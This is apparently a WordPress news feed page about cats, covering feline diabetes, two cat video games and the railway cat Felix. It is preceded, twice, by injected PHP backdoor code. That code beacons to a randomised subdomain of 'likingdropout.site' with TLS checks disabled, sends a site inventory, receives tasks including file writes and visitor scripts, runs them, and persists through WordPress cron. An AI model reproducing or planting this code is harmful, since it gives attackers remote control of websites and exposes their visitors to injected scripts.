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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); purrfect – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Feb 2018 22:15:11 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png purrfect – Brief News https://briefnews.eu 32 32 Type 2 diabetes in cats a near purr-fect match to human version https://briefnews.eu/type-2-diabetes-in-cats-a-near-purr-fect-match-to-human-version/ https://briefnews.eu/type-2-diabetes-in-cats-a-near-purr-fect-match-to-human-version/#respond Thu, 01 Feb 2018 22:15:11 +0000 http://briefnews.eu/type-2-diabetes-in-cats-a-near-purr-fect-match-to-human-version/ Fat Cat

What’s the difference between an older over-weight human, and an older, over-weight cat? Not much when it comes to Type 2 diabetes.

]]> https://briefnews.eu/type-2-diabetes-in-cats-a-near-purr-fect-match-to-human-version/feed/ 0 Purrfect Date Lets You Date A Cat Without Jail Time https://briefnews.eu/purrfect-date-lets-you-date-a-cat-without-jail-time/ https://briefnews.eu/purrfect-date-lets-you-date-a-cat-without-jail-time/#respond Sun, 17 Dec 2017 22:09:40 +0000 http://briefnews.eu/purrfect-date-lets-you-date-a-cat-without-jail-time/ purrfectdate_header.jpg

Purrfect Date is the newest in what seems to be a string of lighthearted visual novels this year, bringing a new romantic feline flavor. As the song states, ‘if you try it in real life, you’ll get sent to jail, but in the game it’s fine!’. So, if you’re into dark humor, cats and tons of replay value, pick up Purrfect Date!

Cat Island is the main stage of the story, a place where you’ll be playing as a researcher trying to understand this cat-infested land mass. While doing so, you’ll have to hone your skills through three stats – research, recon and stress. Can you balance your love life with your research, or will your choices come back to haunt you at the end of your journey? The island has many secrets to uncover, and only the most dedicated researchers will be able to find them.

With 6 cats to date, 6 humans to play, and 6 chapters to traverse and make choices in (which will be evaluated in the final seventh chapter), Purrfect Date is chock full of content. The game is also bursting with personality, whether it be its catchy theme song, the hilarious cast of cats (from Floofybutt to Kibbles) or the quick-witted dialogue. Players that are looking for something new in their visual novels should definitely give Purrfect Date a try.

You can purchase Purrfect Date on Steam here. You can also check out the official page, Twitter, Facebook and Youtube channel.

IndieGames.com

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REVIEW:

Cat Quest is an adorable romp through a fantasy world where you fight monsters, cast spells, and battle dragon bosses. Oh, and you’re a cat. It’s the second title from Singapore-based indie studio The Gentlebros, which specializes in cute isometric brawlers.

To get it out of the way — yes, I am a cat lady. Everything I own is covered in fur, and I’m okay with that. However, the cats in this game do not affect my opinion of it. It isn’t purrfect but it’s a genuinely fun title that harkens back to old-school RPGs with some entertaining real-time combat. It was previously released on PC, iOS, and Android in August, and it’s out today on the Nintendo Switch worldwide and PlayStation 4 in Europe (with a North America release for PS4 coming November 14). I played it on Switch, which is a great fit for its pick-up-and-play side quests.

Check out our Reviews Vault for past game reviews.

What you’ll like

Adorable cheeky fun 

The story is straightforward: In a world where everyone is cats, you play as a strong, silent kitty who discovers they’re a Dragonblood, a special breed of cat from an elite bloodline that helped win the Dragon Wars long ago. After your sister is catnapped by Drakoth, you have to wander the land, level up in dungeons, and fight a few dragons before finally taking on the big boss himself to rescue her. It’s pretty standard fare. However, Cat Quest’s charm is in the details. From the tongue-in-cheek location names — like the Ber-mew-da Triangle — to quirky side quests, everything is delightful and fun.

There’s a slight attempt at a serious story later down the line, but for the most part, it stays light and irreverent. As you traverse the grassy plains and battle adorable fantasy creatures like fire-wielding foxes and weird echidna-type animals, upbeat heroic music plays in the background. The side quests aren’t mechanically that different from one another, but they all have personality. One quest has you hunting monsters for meat-crazed cats. Another has you solving the mystery of two identical cities — situated in the Twin Peaks — that seem to be under some kind of curse.

There are also occasional secrets, like pirate treasure and hidden dungeons. After you gain the ability to walk across water, you can head south and fight the giant elder god Cathulhu. All of this encourages you to explore the colorful world and makes grinding feel like less of a chore.

Combat is satisfying

Above: Avoiding an ice wyvern in one of the dungeons.

Image Credit: GamesBeat

Dodging spells, laying down traps, and hacking away at large sheep-mammoth hybrid creatures all feel great. You have a standard melee weapon, and you can equip four magical spells at once. Most battles involve maneuvering around the enemies’ area of attack. These appear either as patterns or as a red circle that gradually fills up as they’re about to try to lash out with a melee attack.

All the spells in the world except for the Cattrap skill strike in a certain pattern — fire, for instance, will light ablaze anything within a certain distance from you. Lightning (or Lightnyan, as it’s called) appears as two arrows to the left and right of the spellcaster. So timing is crucial, and you’ll spend a lot of time dodging, getting in a few hits, and dancing away to avoid being frozen. It’s a simple system, but it is often a lot of fun, especially when there are multiple enemies with different types of attack patterns approaching all at once.

What you won’t like

Too much paw-holding

Your hero has their own personal Navi, a glowing blue ghost kitty named Spirry who basically speaks for you. This is generally fine when you’re interacting with non-playable characters or when he’s giving you some backstory on the lore of what happened to the dragons. However, he’ll also literally tell you every single thing you have to do when you’re trying to complete a side quest.

Before you enter a dungeon, he’ll shout, “Destroy all the monsters!” Each time a trail of dotted red lines appears on the map, he tells you, “We should follow that trail!” I would have been okay with it if he just said it once, but it was frustrating that the game would pause so often so that he could tell me information that I already knew. It felt like constantly being in tutorial mode.

Less than ideal quest and map system

Above: A zoomed-out view of the map.

Image Credit: The Gentlebros

Fast travel doesn’t exist, which means you’ll spend a lot of time traversing the land to and fro. This never felt like that much of a chore because it’s a fairly small map, but the way the quest system works is that you can only embark on one objective at a time. Each town has its own quest board, and if you want to take a look at what the villagers are seeking, you’ll have to abandon whatever quest you’re currently on. If you want to resume it, you’ll have to return to the original board and pick it up again.

This adds a lot of unnecessary backtracking and the added burden of having to make a mental note of where you last saw that quest. You can’t mark any locations of interest on the map and all the villages look pretty much the same, so occasionally I’d find myself trying to retrace my steps. I found the map clunky as well, since I couldn’t move the viewfinder around or zoom in to examine details.

Some performance issues

This is a minor quibble since it only happened to me once or twice, however it’s worth mentioning. It stuttered for me during a few dungeon battles, struggling to keep up with all the enemies, spells, and hit counts teeming on the screen. I solved this by closing out and re-starting, but it was still frustrating. Hopefully, it’s something that the developers will patch out in a future version.

Conclusion

It feels like the Gentlebros were having a blast making this game. After beating the boss, there are plenty of other side quests to go on if you’d like, and the generous save system makes it possible to play it for just a little while and then put it down. Cat Quest doesn’t reinvent the RPG genre. Instead it just does it well, with some cute cats to boot.

Score: 78/100

Cat Quest is out on November 10 on the Nintendo Switch worldwide and PlayStation 4 in Europe. It will be available on PlayStation 4 in North America on November 14. The publisher sent us a code for review.

VentureBeat

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Felix is the station cat and she – when Felix was named it was thought she was a he – has a miniature hi-vis jacket and name badge (senior pest controller) to prove it. But Felix is not really here to catch mice.

That’s just a convenient label that enables her food and veterinary bills to be paid for by her employer, the TransPennine Express railway company. The real value of Felix is as unquantifiable as the existence of a cat in any setting: human succour, animal warmth and the curious quirkiness that makes every feline endlessly fascinating.

In Felix’s case the impact goes deeper. This is a cat who has comforted runaway children, elevated staff morale and consoled frustrated customers. The cat that likes to sun herself on platform one has also become an international star.

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Felix the station cat wears a miniature hi-vis jacket

There is actually a historic tradition of railway cats

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Following the creation of a Facebook page dedicated to her life in July 2015 by commuter Mark Allan, a steady stream of treats and letters started arriving from all over the world. When the cat was promoted from junior to senior pest controller a year ago the page went viral and attracted 100,000 likes. 

Many of the toys and treats she received have benefited rescue cats throughout the area. When word first spread of Felix’s life on the right side of the tracks, TV crews descended on the station to film her bounding along the platform and squeezing through her own cat flap next to the ticket barriers. 

And this week a book about her life was published. “There is actually a historic tradition of railway cats,” says its author Kate Moore. “Back in the days of British Rail, many signalmen used to have them and they were even given joke wage slips.” 

It was a young station announcer called Gareth Hope who decided in 2008 that a cat was just what his station needed and lobbied his bosses for three years to make it happen. He had assumed the tradition had died out. Not so. 

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Felix likes to sun herself on platform one

There are railway cats up and down the country. Windermere has one, as does Kirkby Stephen East station in Cumbria. Southend Victoria is home to little Jojo, while Tonbridge in Kent recently erected memorial plaques in honour of its two felines, Jill and Louis, who passed away after many years of service.

But as far as anyone knew there had never been a station cat at Huddersfield. Five years ago the acting station manager gave the go-ahead for a kitten to join the team. “It wouldn’t have been fair to an older, former house cat to throw it in at the deep end in a working environment, with the danger of the trains and the noise and bustle of a busy station,” says Kate.

“You can’t teach an old cat the kind of new tricks that a railway cat would need to learn but if a kitten grew up there it would learn how to be a station cat.” Huddersfield station hosts about five million customer journeys a year, with 15 trains per hour, placing it in the top 100 busiest stations in the country.

But the train drivers told Gareth they never hit cats as the vibrations of the oncoming trains were evident to most felines long before a train loomed into view. When Felix arrived as an eight-week-old kitten no one knew just how important this little ball of fluff would become.

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There are other railway cats up and down the country

She was named by Rachel Stockton, a conductor who’d once worked for the RSPCA. When she first laid eyes on the cat she assumed was a male, she declared: “He’s a right little Felix”, but the cat’s real gender was revealed only when it was time for her inoculations.

The kitten started life at the station in the announcers’ office and soon made herself cosy in the top tier of the team leader’s in-tray – when she wasn’t sleeping on Gareth’s lap for an entire shift. Within a week of her arrival the transformation in morale at the station had astonished many.

“Huddersfield has always had a family feel but along with the closeness of that atmosphere could come the odd row or niggle,” says Kate. “Getting a cat seemed to bring everyone together.” Team leader Angie Hunte was amazed to see the transformation in her colleague Martin, a somewhat reserved train announcer who clearly didn’t “do” cats.

Yet even he was so charmed by Felix that one morning he gave her a toy mouse on a red pull-string. It was the same story when Felix met a five-year-old boy with autism after his mother brought him to the station to see him.

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Felix was named by conductor Rachel Stockton

Although unable to make eye contact with the train manager, as soon as the child saw Felix he raised his head and shouted exuberantly, “Felix, Felix, Felix.” Flapping his arms and smiling, he kept repeating the cat’s name as Felix sat down next to him and wrapped her big fluffy tail around herself.

“Felix,” the boy repeated, calm at last. The cat would often sit at the customer-information window for hour after hour disarming customers. She also proved to be great in a crisis, calming irate commuters and cheering up the lonely and the lost.

“As many as 100,000 children in the UK run away from home every year,” says Kate. “Many are drawn to railway stations where there will be light and maybe food and company.” And, in the case of Huddersfield, a friendly cat.

In November 2015, on platform one, customer experience manager Andrew McClements discovered a shivering boy, aged 11 or 12, who had run away from his care home. While he waited for the police to take the boy to safety, he got him a drink and popped Felix on the bench beside him.

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Born in 2016 Herman is fast becoming a social media star thanks to his wide-eyed look and adorable Instagram postings.

“Have you met Felix?” he asked him brightly. “She lives here on the station. Why don’t you give her a treat?” Boy and cat sat together on the bench as Felix worked her magic. Soon articles began appearing in the local paper and some regular customers started bringing in cat treats.

TransPennine Express produced a calendar with a different portrait of Felix for each month and used her image on its Christmas cards. Felix even appeared in advertising material for a local production of Rising Damp in the role of Rigsby’s moggy Vienna.

And when her Facebook page – “Felix the Huddersfield station cat” – went viral other cats started “writing” to her as though she was a pest-controlling cat idol in the feline world. She was even sent a special bowl by Battersea Dogs & Cats Home.

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Felix appeared in advertising material for a local production

Soon Huddersfield had become a must-see destination for a number of her tens of thousands of fans, with some travelling from as far-a-field as China, Canada and Germany to see her. But Felix hasn’t forgotten her roots.

“She remains a railway cat: she has a job to do and platforms to patrol,” says Kate Moore. And, of course those all-important catnaps to take.

To order Felix The Railway Cat by Kate Moore (Penguin, £12.99) with free UK delivery call the Express Bookshop with your card details on 01872 562310. Alternatively send a cheque or postal order made payable to The Express Bookshop to: Felix Offer, PO Box 200, Falmouth TR11 4WJ or visit

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]]> https://briefnews.eu/felix-the-purrfect-railway-cat-has-100000-facebook-followers-is-the-subject-of-a-new-book/feed/ 0 A softer side of government: How Larry the cat became a purr-fect political companion on Downing Street https://briefnews.eu/a-softer-side-of-government-how-larry-the-cat-became-a-purr-fect-political-companion-on-downing-street/ https://briefnews.eu/a-softer-side-of-government-how-larry-the-cat-became-a-purr-fect-political-companion-on-downing-street/#respond Sun, 22 Jan 2017 14:55:15 +0000 http://briefnews.eu/a-softer-side-of-government-how-larry-the-cat-became-a-purr-fect-political-companion-on-downing-street/ Larry the cat wears a unnion jack tie in 2011 royal wedding

Larry the rescue cat lives at 10 Downing Street, and although he doesn’t do much in the way of policy, he has become the furry face of a more relatable U.K. government.

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